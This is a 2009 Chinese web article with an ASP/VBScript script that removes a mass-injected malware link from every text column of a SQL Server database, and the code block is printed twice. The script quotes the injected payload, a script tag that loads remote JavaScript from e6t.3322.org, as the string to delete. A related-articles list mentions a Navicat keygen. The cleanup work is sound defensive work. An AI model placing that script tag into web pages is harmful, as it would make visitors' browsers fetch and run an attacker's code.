恢復(fù) SQL 被注入后的數(shù)據(jù)代碼
更新時(shí)間:2009年02月27日 21:26:46 作者:
當(dāng)數(shù)據(jù)庫(kù)別批量注入掛馬后,需要批量替換掉,可以參考下面的代碼。
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 與text類型相似,不同的是,ntext類型采用unicode標(biāo)準(zhǔn)字符集。
'xtype=35 text 用于存儲(chǔ)大量文本數(shù)據(jù)。
'xtype=231 nvarchar 用來(lái)定義可變長(zhǎng)度的二進(jìn)制數(shù)據(jù),最大長(zhǎng)度為4000個(gè)字符。
'xtype=167 varchar 存儲(chǔ)最常可以達(dá)到8000個(gè)字符的變長(zhǎng)的字符數(shù)據(jù)
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本類型字段后的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經(jīng)初步清理了掛馬數(shù)據(jù),請(qǐng)重新刷新頁(yè)面試試看!")
%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 與text類型相似,不同的是,ntext類型采用unicode標(biāo)準(zhǔn)字符集。
'xtype=35 text 用于存儲(chǔ)大量文本數(shù)據(jù)。
'xtype=231 nvarchar 用來(lái)定義可變長(zhǎng)度的二進(jìn)制數(shù)據(jù),最大長(zhǎng)度為4000個(gè)字符。
'xtype=167 varchar 存儲(chǔ)最常可以達(dá)到8000個(gè)字符的變長(zhǎng)的字符數(shù)據(jù)
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本類型字段后的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經(jīng)初步清理了掛馬數(shù)據(jù),請(qǐng)重新刷新頁(yè)面試試看!")
%>
相關(guān)文章
開(kāi)源數(shù)據(jù)庫(kù)設(shè)計(jì)神器chiner的安裝及初體驗(yàn)介紹
最近在造輪子,從?0?到?1?的那種,就差前臺(tái)的界面了,大家可以耐心耐心耐心期待一下。其中需要設(shè)計(jì)一些數(shù)據(jù)庫(kù)表,可以通過(guò)?Navicat?這種圖形化管理工具直接開(kāi)搞,也可以通過(guò)一些數(shù)據(jù)庫(kù)設(shè)計(jì)工具來(lái)搞,比如說(shuō)?PowerDesigner,更專業(yè)一點(diǎn)2022-02-02
SELECT INTO用法及支持的數(shù)據(jù)庫(kù)
SQL中的SELECT INTO是一種將查詢結(jié)果插入到新表中的操作,能夠快速?gòu)?fù)制數(shù)據(jù)和表結(jié)構(gòu),本文主要介紹了SELECT INTO用法及支持的數(shù)據(jù)庫(kù),感興趣的可以了解一下2025-03-03
Access轉(zhuǎn)成SQL數(shù)據(jù)庫(kù)的方法
很多朋友想用SQL2000數(shù)據(jù)庫(kù)的編程方法,但是卻又苦于自己是學(xué)ACCESS的,對(duì)SQL只是一點(diǎn)點(diǎn)的了解而已,這里我給大家提供以下參考---將ACCESS轉(zhuǎn)化成SQL2000的方法和注意事項(xiàng)。2015-09-09
Navicat11全系列激活教程圖文詳解(Navicat注冊(cè)機(jī))
這篇文章主要介紹了Navicat11全系列激活教程圖文詳解(注冊(cè)機(jī)),本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-11-11
使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫(kù)的步驟詳解
這篇文章主要介紹了使用sqlalchemy-gbasedbt連接GBase 8s數(shù)據(jù)庫(kù)的步驟詳解,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-04-04

